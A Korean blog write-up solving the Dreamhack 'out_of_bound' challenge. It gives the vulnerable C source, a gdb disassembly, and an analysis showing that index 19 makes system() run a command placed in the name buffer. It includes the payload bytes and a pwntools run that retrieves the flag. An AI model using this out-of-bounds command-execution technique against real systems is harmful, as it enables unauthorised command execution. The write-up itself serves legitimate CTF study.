STUDY.md
  • 🏅Dreamhack - out_of_bound 문제 풀이
    2024년 11월 13일 23시 54분 35초에 업로드 된 글입니다.
    작성자: 방세연

     

     

    🏅Dreamhack - out_of_bound

     

     

    프로젝트를 하다가 OOB 에러를 발견한 적이 있었는데 드림핵에 이런 문제가 있어서 풀어보기로 했다.

     

    일단 서비스의 바이너리와 소스코드가 주어졌다고 하니 범위를 벗어난 취약점은 보통 코드를 잘 살펴보면 있는 것 같아서 일단 소스코드를 살펴보자.

     

     

     

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <string.h>
    
    char name[16];
    
    char *command[10] = { "cat",
        "ls",
        "id",
        "ps",
        "file ./oob" };
    void alarm_handler()
    {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize()
    {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        signal(SIGALRM, alarm_handler);
        alarm(30);
    }
    
    int main()
    {
        int idx;
    
        initialize();
    
        printf("Admin name: ");
        read(0, name, sizeof(name));
        printf("What do you want?: ");
    
        scanf("%d", &idx);
    
        system(command[idx]);
    
        return 0;
    }

     

    c 기반 파일이다.

     

    Out-of-Bounds란? (a.k.a OOB란?)

    배열 등의 지정된 메모리 범위를 벗어나는 인덱스에 접근이 가능해진다면, 예상하지 않은 문제가 발생할 것이다.

    버퍼 오버플로우랑 범위를 벗어난 취약점 모두 중요한 취약점인데, 둘의 차이점이 궁금했다.
    Buffer Overflow`버퍼에 대한 길이 검증을 수행하지 않아 데이터가 버퍼의 경계를 넘어설 때, 인접한 메모리를 덮어씌우고 프로그램 흐름을 변화시킬 수 있는` 취약점이며 버퍼 오버플로우로 인한 위험성은 임의 코드 실행, 메모리 구조 파괴가 존재한다.
    char buffer[8];
    strcpy(buffer, "This is a very long string"); // buffer의 경계를 넘는 데이터가 쓰여서 오버플로우 발생​


    Out-of-Bounds`인덱스나 포인터가 유효 범위를 벗어날 때, 할당된 범위 외의 메모리에 접근하려고 할 때 예상하지 못한 메모리 값을 읽어오거나 덮어씌울 수 있는` 취약점이며 범위를 벗어난 취약점으로 인한 위험성은 메모리 누수, 정보 노출, 프로그램 충돌 등의 문제가 존재한다.
    int arr[5] = {1, 2, 3, 4, 5};
    int out_of_bounds_value = arr[10]; // 유효한 범위 (0~4)를 벗어난 참조​

     

     

     

    다시 코드로 돌아와보면

    char name[16];
    
    char *command[10] = { "cat",
        "ls",
        "id",
        "ps",
        "file ./oob" };

    name이랑 command라는 두 가지 배열이 존재하는데, name은 16바이트, command는 OS 명령어로 보여지는 cat, ls, id, ps, file ./oob라는 내용이 담겨있으며, 10개의 포인터를 허용하지만 사실상 5개의 명령어만 존재한다.

     

    여기서 oob라는 파일을 실행하려고 하는 명령어가 있는데 어떤 의도인지 궁금해졌다.

     

        scanf("%d", &idx);
        system(command[idx]);

    문제는 이 부분인데, command에 0~4 범위를 벗어나게 사용자로부터 idx를 입력받으면 그대로 OOB 문제로 발전할 가능성이 있다. 물론 name 배열도 비슷한 문제가 발생할 수 있지만, 16바이트보다 큰 데이터를 입력받는다는건 Buffer Overflow랑 연결되는거니까 둘의 느낌이 다르다는걸 확인해볼 수 있는거다.

     

    그럼 이제 바이너리 파일을 확인해볼 차례이다.

     

     

    바이너리에 포함된 함수 목록 출력

    이건 바이너리에 포함된 함수 목록인데, initialize, main, alarm_handler 같은 c 소스코드에서도 확인했던 함수들이 포함되어있는 것을 확인할 수 있다. 밑에서 디스어셈블링한거에 함수가 어떻게 나타나는지 알아보자.

     

     

    main함수의 디스어셈블리 확인

    (gdb) disassemble main
    Dump of assembler code for function main:
       0x080486cb <+0>:     lea    0x4(%esp),%ecx
       0x080486cf <+4>:     and    $0xfffffff0,%esp
       0x080486d2 <+7>:     push   -0x4(%ecx)
       0x080486d5 <+10>:    push   %ebp
       0x080486d6 <+11>:    mov    %esp,%ebp
       0x080486d8 <+13>:    push   %ecx
       0x080486d9 <+14>:    sub    $0x14,%esp
       0x080486dc <+17>:    mov    %gs:0x14,%eax
       0x080486e2 <+23>:    mov    %eax,-0xc(%ebp)
       0x080486e5 <+26>:    xor    %eax,%eax
       0x080486e7 <+28>:    call   0x804867b <initialize>
       0x080486ec <+33>:    sub    $0xc,%esp
       0x080486ef <+36>:    push   $0x8048811
       0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
       0x080486f9 <+46>:    add    $0x10,%esp
       0x080486fc <+49>:    sub    $0x4,%esp
       0x080486ff <+52>:    push   $0x10
       0x08048701 <+54>:    push   $0x804a0ac
       0x08048706 <+59>:    push   $0x0
       0x08048708 <+61>:    call   0x80484a0 <read@plt>
       0x0804870d <+66>:    add    $0x10,%esp
       0x08048710 <+69>:    sub    $0xc,%esp
       0x08048713 <+72>:    push   $0x804881e
       0x08048718 <+77>:    call   0x80484b0 <printf@plt>
       0x0804871d <+82>:    add    $0x10,%esp
       0x08048720 <+85>:    sub    $0x8,%esp
       0x08048723 <+88>:    lea    -0x10(%ebp),%eax
       0x08048726 <+91>:    push   %eax
       0x08048727 <+92>:    push   $0x8048832
       0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
       0x08048731 <+102>:   add    $0x10,%esp
       0x08048734 <+105>:   mov    -0x10(%ebp),%eax
       0x08048737 <+108>:   mov    0x804a060(,%eax,4),%eax
       0x0804873e <+115>:   sub    $0xc,%esp
       0x08048741 <+118>:   push   %eax
       0x08048742 <+119>:   call   0x8048500 <system@plt>
       0x08048747 <+124>:   add    $0x10,%esp
       0x0804874a <+127>:   mov    $0x0,%eax
       0x0804874f <+132>:   mov    -0xc(%ebp),%edx
       0x08048752 <+135>:   xor    %gs:0x14,%edx
       0x08048759 <+142>:   je     0x8048760 <main+149>
       0x0804875b <+144>:   call   0x80484e0 <__stack_chk_fail@plt>
    --Type <RET> for more, q to quit, c to continue without paging--
       0x08048760 <+149>:   mov    -0x4(%ebp),%ecx
       0x08048763 <+152>:   leave
       0x08048764 <+153>:   lea    -0x4(%ecx),%esp
       0x08048767 <+156>:   ret
    End of assembler dump.
    (gdb)

    일단 c언어 소스코드를 보긴 했지만 disassemble main을 통해 main 함수의 디스어셈블리를 좀 더 확인해보자.

     

     

     

    Buffer Overflow 문제

    0x080486ef <+36>:    push   $0x8048811
    0x080486f4 <+41>:    call   0x80484b0 <printf@plt>
    0x080486fc <+49>:    sub    $0x4,%esp
    0x080486ff <+52>:    push   $0x10
    0x08048701 <+54>:    push   $0x804a0ac
    0x08048706 <+59>:    push   $0x0
    0x08048708 <+61>:    call   0x80484a0 <read@plt>​


    여기서 0x10은 16바이트를 나타내기 때문에 후에 나타나는 0x804a0ac는 name 배열로 예상할 수 있고, 0x080486f4 <+41>:    call   0x80484b0 <printf@plt>이 부분은 printf("Admin name: "); 여기같다. 0x08048708 <+61>:    call   0x80484a0 <read@plt>는 read 함수를 사용하는 부분이다.​

    분석한 코드대로 범위를 초과한 입력이 들어가면 버퍼 오버플로우가 발생할 위험이 크다.

     

     

     

    Out-of-Bounds 문제

    0x0804871d <+82>:    add    $0x10,%esp
    0x08048720 <+85>:    sub    $0x8,%esp
    0x08048723 <+88>:    lea    -0x10(%ebp),%eax
    0x08048726 <+91>:    push   %eax
    0x08048727 <+92>:    push   $0x8048832
    0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
    
    0x08048734 <+105>:   mov    -0x10(%ebp),%eax
    0x08048737 <+108>:   mov    0x804a060(,%eax,4),%eax
    0x0804873e <+115>:   sub    $0xc,%esp
    0x08048741 <+118>:   push   %eax
    0x08048742 <+119>:   call   0x8048500 <system@plt>​

    첫번째에서는 scanf를 호출하는 과정이 나타난다.

    1. 0x08048723 <+88>에서 lea -0x10(%ebp), %eax로 eax 레지스터에 0x10(%ebp) 주소를 저장한다.
    2. 0x08048727 <+92>에서 push $0x8048832("%d")한다 == scanf 형식 문자열을 스택에 푸시한다.
    3. 0x0804872c <+97>에서 call __isoc99_scanf@plt를 호출하여 scanf 함수를 실행한다.
    4. scanf를 통해 사용자에게 입력받은 값이 -0x10(%ebp) 주소에 저장된다.

    두번째에는 문제의 command[idx]에 접근하는 과정이 나타난다.

    1. mov -0x10(%ebp),%eax는 scanf로 입력받은 값을 eax 레지스터에 로드한다. (eax는 command 배열의 인덱스)
    2. mov 0x804a060(,%eax,4),%eax 여기는 command 배열에서 입력받은 인덱스를 통해 명령어 주소를 가져온다.

    배열의 구조 주소는 여기에서 나온다.
    0x804a060 : 여기는 command 배열의 시작 주소로 추정해볼 수 있다.
    (,%eax,4) : 4바이트 간격으로 eax 인덱스를 사용해 배열에 접근한다. (eax=0 -> 첫번째 명령어, eax=1 -> 두번째 명령어)

     

     

    그럼 핵심은 eax 값이 초과하면 Out-of-Bounds가 발생하는거 아닌가?

    즉, eax=5를 넘어서거나 eax=음수값일 때 메모리 문제가 발생하게 되는 것이다.

     

    근데 이런걸 어디에 활용해야 할지 생각해봤는데 최종적인 목적은 flag파일을 cat해야 하는 것인데 그건 또 name이랑 command를 모두 고려해야 한다는 결과가 나온다.

     

    //command 배열 시작 주소
    0x08048737 <+108>:   mov    0x804a060(,%eax,4),%eax
    //name 배열 시작 주소
    0x08048701 <+54>:    push   $0x804a0ac

    위 정보를 통해 각각의 시작 주소는 0x804a060, 0x804a0ac임을 확인할 수 있고,

     

     

     

    이 둘의 거리는 76이다.

    그런데 eax가 4바이트 간격으로 떨어져 있다고 하니 76/4하면 [19]만큼의 거리로 떨어져 있다는 것을 알  수 있다.

    그러니까 command[19]가 곧 name이라는 뜻이 된다..? 라고 생각해볼 수 있다.

     

    그럼

    Out-of-Bounds `인덱스나 포인터가 유효 범위를 벗어날 때, 할당된 범위 외의 메모리에 접근하려고 할 때 예상하지 못한 메모리 값을 읽어오거나 덮어씌울 수 있는` 취약점

    이 점에 유의할 때,

     

     

    command[19]는 name 버퍼와 메모리 상 겹쳐 있게 되고, 이는 즉 name 버퍼의 주소를 참조하도록 오버랩 된건데,

    여기서 name 버퍼에 원하는 명령을 넣으면 그 명령이 command[19]를 통해 실행할 수 있게 되는거다.

     

    이때 command가 포인터 배열인게 취약점의 핵심인데, 만약 일반 문자열 배열이였다면 system() 함수 호출 시도가 의도대로 실행되지 않아 OOB가 성공하지 못하게 되었을 것이다. command의 각 요소가 특정 문자열 주소를 가리킨다는걸 악용하는게 이 문제의 핵심이다.

     

     

    그냥 실행해서 여러가지 입력해보면 안된다. OOB exploit 코드를 작성해보자.

     

     

     

     

    브레이크포인트를 main함수에 걸어서 name의 값 0xf7e406c0을 확인해서 직접 바이너리에서 플래그를 얻는 코드를 작성해봤는데 안된다. 그래서 그냥 dreamhack 원격서버랑 포트번호로 플래그를 얻어봐야겠다...

     

    system함수는 문자열 주소를 인수로 받는데, 이때 인수는 const char * 형태의 문자열 포인터여야 한다.
    shell = b"\xb0\xa0\x04\x08" + b"cat flag"​

    name 퍼버 주소를 리틀 엔디안 형식으로 나타내고, 이 주소를 사용해 command[idx]가 name 버퍼를 가리키도록 한다. name 버퍼에 "cat flag"라는 문자열을 넣어두고 system 함수가 command[19]를 통해 name 버퍼 내용을 실행하게 해보자.


    exploit 코드 ⬇️
    p = remote(host, port)를 통해 서버에 연결하고, 드림핵 서버와 데이터를 주고받도록 한다.
    name의 버퍼의 메모리 주소 b"\xb0\xa0\x04\x08"와 cat flag라는 실행하고자 하는 명령어를 셸 변수에 저장한다.
    즉, 셸 변수는 name 버퍼와 cat flag라는 명령어가 합쳐진 상태이다.

    p.sendline(shell)을 통해 name 버퍼에 shell 페이로드를 전송하고, 서버는 이 페이로드를 받아 name 버퍼에 name 버퍼주소+cat flag 명령어를 저장하게 된다.

    p.sendline(b"19")를 통해 idx 값으로 19를 입력하고, command[19]가 name 버퍼의 시작 주소를 가리키게 된다.
    system(command[19])가 호출되면, command[19]가 name 버퍼를 가리키고, name 버퍼 내용 cat flag가 실행된다.

    char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" };
    printf("What do you want?: ");
    scanf("%d", &idx);
    system(command[idx]);​
    이 main함수의 부분을 기억하고 있다면, system(command[idx])가 어떻게 cat flag까지 도달할 수 있는지 알 수 있을 것이다.


     

     

    플래그를 찾았다!!

     

    ┌──(pwn_env)─(root㉿kali)-[/home/kali/Desktop]
    └─# ./OOB_exploit.py 
    
    [+] Opening connection to host3.dreamhack.games on port 9914: Done
    b'Admin name:'
    b' What do you want?:'
    [*] Switching to interactive mode
     DH{}[*] Got EOF while reading in interactive
    $

    댓글